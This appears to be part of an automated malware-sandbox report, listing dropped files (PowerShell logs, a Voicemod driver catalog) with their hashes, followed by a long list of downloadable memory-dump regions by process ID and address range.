Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f935809085e90f8fc2c003afb46e81de28f3312ec097cf46f2bdc2488cb893e7
MD5 f2dd68ab8e611f0143c6ad176f223ae9
SHA1 30f580175773f251a9572fe757de6eaef6844abc
SHA512 f664b850c2fc6773e48171be5c180d8bc5c3a27945f5e6604605006a3c93e0bf3a516b647d6411a4d6b75bdf0a5e15b4f3621bf5702bbc3c46f9b517cb69dd04
MD5 SHA1 SHA512

Submit Download

vmdrv.cat

Path \??\c:\program files\voicemod desktop\driver\vmdrv.cat
Size 10KB
SHA256 6bfcc755ffedaefbd2aa94988dbfc2492a185ec1621ccb2db9194d1f83df5ccf
MD5 46bb11132e5800c97b9d2c1df6e6fe88
SHA1 83a6cb8f90ce3a805609eaa3472ee480ac30a8b2
SHA512 fd3de31cf8025e933c8a4966938ab4b59fb9adca41b009c0ef0129bf5297bf4a64e5d4bde662f2aec62ccb3c05bc10c309196c73355cbd409ab4b1f6ba86ad08
SSDEEP 192:gODjg1yuCJCApnp5UEwQl/WGhYCUoqVT/gqnajKs8ByAkF:cCr1pzlnh3/q1IlGs8Byb
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/480-152-0x00000236A9E70000-0x00000236A9E80000-memory.dmp

Download

memory/480-166-0x00007FFC96320000-0x00007FFC96DE2000-memory.dmp

Download

memory/480-164-0x00000236A9E70000-0x00000236A9E80000-memory.dmp

Download

memory/480-163-0x00000236A9E70000-0x00000236A9E80000-memory.dmp

Download

memory/480-153-0x00000236A9E70000-0x00000236A9E80000-memory.dmp

Download

memory/480-151-0x00007FFC96320000-0x00007FFC96DE2000-memory.dmp

Download

memory/1912-253-0x00007FF768B70000-0x00007FF768B9A000-memory.dmp

Download

memory/1912-262-0x00007FF768B70000-0x00007FF768B9A000-memory.dmp

Download

memory/1948-52-0x00000000030A0000-0x00000000030B2000-memory.dmp

Download

memory/1948-102-0x00007FFC96320000-0x00007FFC96DE2000-memory.dmp

Download

memory/1948-42-0x000000001C230000-0x000000001C24C000-memory.dmp

Download

memory/1948-50-0x000000001C250000-0x000000001C266000-memory.dmp

Download

memory/1948-46-0x000000001C2A0000-0x000000001C2F0000-memory.dmp

Download

memory/1948-40-0x0000000003040000-0x0000000003050000-memory.dmp

Download

memory/1948-55-0x000000001C290000-0x000000001C2A0000-memory.dmp

Download

memory/1948-59-0x000000001C270000-0x000000001C27A000-memory.dmp

Download

memory/1948-60-0x000000001C280000-0x000000001C292000-memory.dmp

Download

memory/1948-41-0x000000001BA80000-0x000000001BAF4000-memory.dmp

Download

memory/1948-66-0x000000001C640000-0x000000001C64C000-memory.dmp

Download

memory/1948-67-0x000000001C650000-0x000000001C65C000-memory.dmp

Download

memory/1948-30-0x0000000000C50000-0x0000000000D28000-memory.dmp

Download

memory/1948-65-0x000000001C630000-0x000000001C638000-memory.dmp

Download

memory/1948-63-0x000000001C410000-0x000000001C41C000-memory.dmp

Download

memory/1948-64-0x000000001C620000-0x000000001C62E000-memory.dmp

Download

memory/1948-62-0x000000001C940000-0x000000001CE68000-memory.dmp

Download

memory/1948-31-0x00007FFC96320000-0x00007FFC96DE2000-memory.dmp

Download

memory/2264-258-0x0000000000400000-0x0000000000681000-memory.dmp

Download

memory/2264-384-0x0000000000400000-0x0000000000681000-memory.dmp

Download

memory/2264-61-0x0000000002750000-0x0000000002751000-memory.dmp

Download

memory/2264-783-0x0000000000400000-0x0000000000681000-memory.dmp

Download

memory/2264-264-0x0000000000400000-0x0000000000681000-memory.dmp

Download

memory/2264-624-0x0000000000400000-0x0000000000681000-memory.dmp

Download

memory/2264-129-0x0000000000400000-0x0000000000681000-memory.dmp

Download

memory/2264-133-0x0000000002750000-0x0000000002751000-memory.dmp

Download

memory/2264-385-0x0000000003320000-0x000000000332E000-memory.dmp

Download

memory/2264-293-0x0000000003320000-0x000000000332E000-memory.dmp

Download

memory/2264-379-0x0000000000400000-0x0000000000681000-memory.dmp

Download

memory/2264-372-0x0000000003320000-0x000000000332E000-memory.dmp

Download

memory/2264-371-0x0000000000400000-0x0000000000681000-memory.dmp

Download

memory/2264-348-0x0000000002EF0000-0x0000000003030000-memory.dmp

Download

memory/2264-368-0x0000000002EF0000-0x0000000003030000-memory.dmp

Download

memory/2264-353-0x0000000002EF0000-0x0000000003030000-memory.dmp

Download

memory/2264-358-0x0000000002EF0000-0x0000000003030000-memory.dmp

Download

memory/2264-363-0x0000000002EF0000-0x0000000003030000-memory.dmp

Download

memory/2376-53-0x000000007FAA0000-0x000000007FE71000-memory.dmp

Download

memory/2376-6-0x000000007FAA0000-0x000000007FE71000-memory.dmp

Download

memory/2376-7-0x0000000000400000-0x0000000001400000-memory.dmp

Download

memory/2456-184-0x00007FF7618B0000-0x00007FF761D40000-memory.dmp

Download

memory/2456-250-0x00007FF7618B0000-0x00007FF761D40000-memory.dmp

Download

memory/2892-143-0x00007FFC96320000-0x00007FFC96DE2000-memory.dmp

Download

memory/2892-147-0x0000022AB3A70000-0x0000022AB3A80000-memory.dmp

Download

memory/2892-149-0x00007FFC96320000-0x00007FFC96DE2000-memory.dmp

Download

memory/2892-146-0x0000022AB3A70000-0x0000022AB3A80000-memory.dmp

Download

memory/2892-144-0x0000022AB3A70000-0x0000022AB3A80000-memory.dmp

Download

memory/2892-145-0x0000022AB3A70000-0x0000022AB3A80000-memory.dmp

Download

memory/2936-120-0x00007FF606C20000-0x00007FF6070B0000-memory.dmp

Download

memory/2936-180-0x00007FF606C20000-0x00007FF6070B0000-memory.dmp

Download

memory/3400-208-0x0000022A447E0000-0x0000022A447FC000-memory.dmp

Download

memory/3400-192-0x0000022A44560000-0x0000022A44570000-memory.dmp

Download

memory/3400-187-0x00007FFC95B60000-0x00007FFC96622000-memory.dmp

Download

memory/3400-220-0x00007FFC95B60000-0x00007FFC96622000-memory.dmp

Download

memory/3400-217-0x0000022A44560000-0x0000022A44570000-memory.dmp

Download

memory/3400-216-0x0000022A44B70000-0x0000022A44B7A000-memory.dmp

Download

memory/3400-215-0x0000022A44B60000-0x0000022A44B66000-memory.dmp

Download

memory/3400-214-0x0000022A44A30000-0x0000022A44A38000-memory.dmp

Download

memory/3400-213-0x0000022A44B80000-0x0000022A44B9A000-memory.dmp

Download

memory/3400-212-0x0000022A44A20000-0x0000022A44A2A000-memory.dmp

Download

memory/3400-211-0x0000022A44A40000-0x0000022A44A5C000-memory.dmp

Download

memory/3400-210-0x0000022A448C0000-0x0000022A448CA000-memory.dmp

Download

memory/3400-209-0x0000022A44800000-0x0000022A448B3000-memory.dmp

Download

memory/3400-207-0x00007FF443AF0000-0x00007FF443B00000-memory.dmp

Download

memory/3400-198-0x0000022A44560000-0x0000022A44570000-memory.dmp

Download

memory/3400-188-0x0000022A44560000-0x0000022A44570000-memory.dmp

Download

memory/4696-110-0x000001FAB7D90000-0x000001FAB7DB2000-memory.dmp

Download

memory/4696-99-0x00007FFC96320000-0x00007FFC96DE2000-memory.dmp

Download

memory/4696-100-0x000001FAB7F70000-0x000001FAB7F80000-memory.dmp

Download

memory/4696-101-0x000001FAB7F70000-0x000001FAB7F80000-memory.dmp

Download

memory/4696-117-0x00007FFC96320000-0x00007FFC96DE2000-memory.dmp

Download

memory/4696-114-0x000001FAB7F70000-0x000001FAB7F80000-memory.dmp

Download

memory/4724-224-0x00007FFC95B60000-0x00007FFC96622000-memory.dmp

Download

memory/4724-225-0x000001B732A30000-0x000001B732A40000-memory.dmp

Download

memory/4812-104-0x000000001B770000-0x000000001B780000-memory.dmp

Download

memory/4812-118-0x0000000002B90000-0x0000000002BA2000-memory.dmp

Download

memory/4812-103-0x00007FFC96320000-0x00007FFC96DE2000-memory.dmp

Download

memory/4812-119-0x000000001B590000-0x000000001B5A2000-memory.dmp

Download

memory/4812-131-0x00007FFC96320000-0x00007FFC96DE2000-memory.dmp

Download

memory/4832-121-0x0000000000400000-0x00000000004C5000-memory.dmp

Download

memory/4832-49-0x0000000000400000-0x00000000004C5000-memory.dmp

Download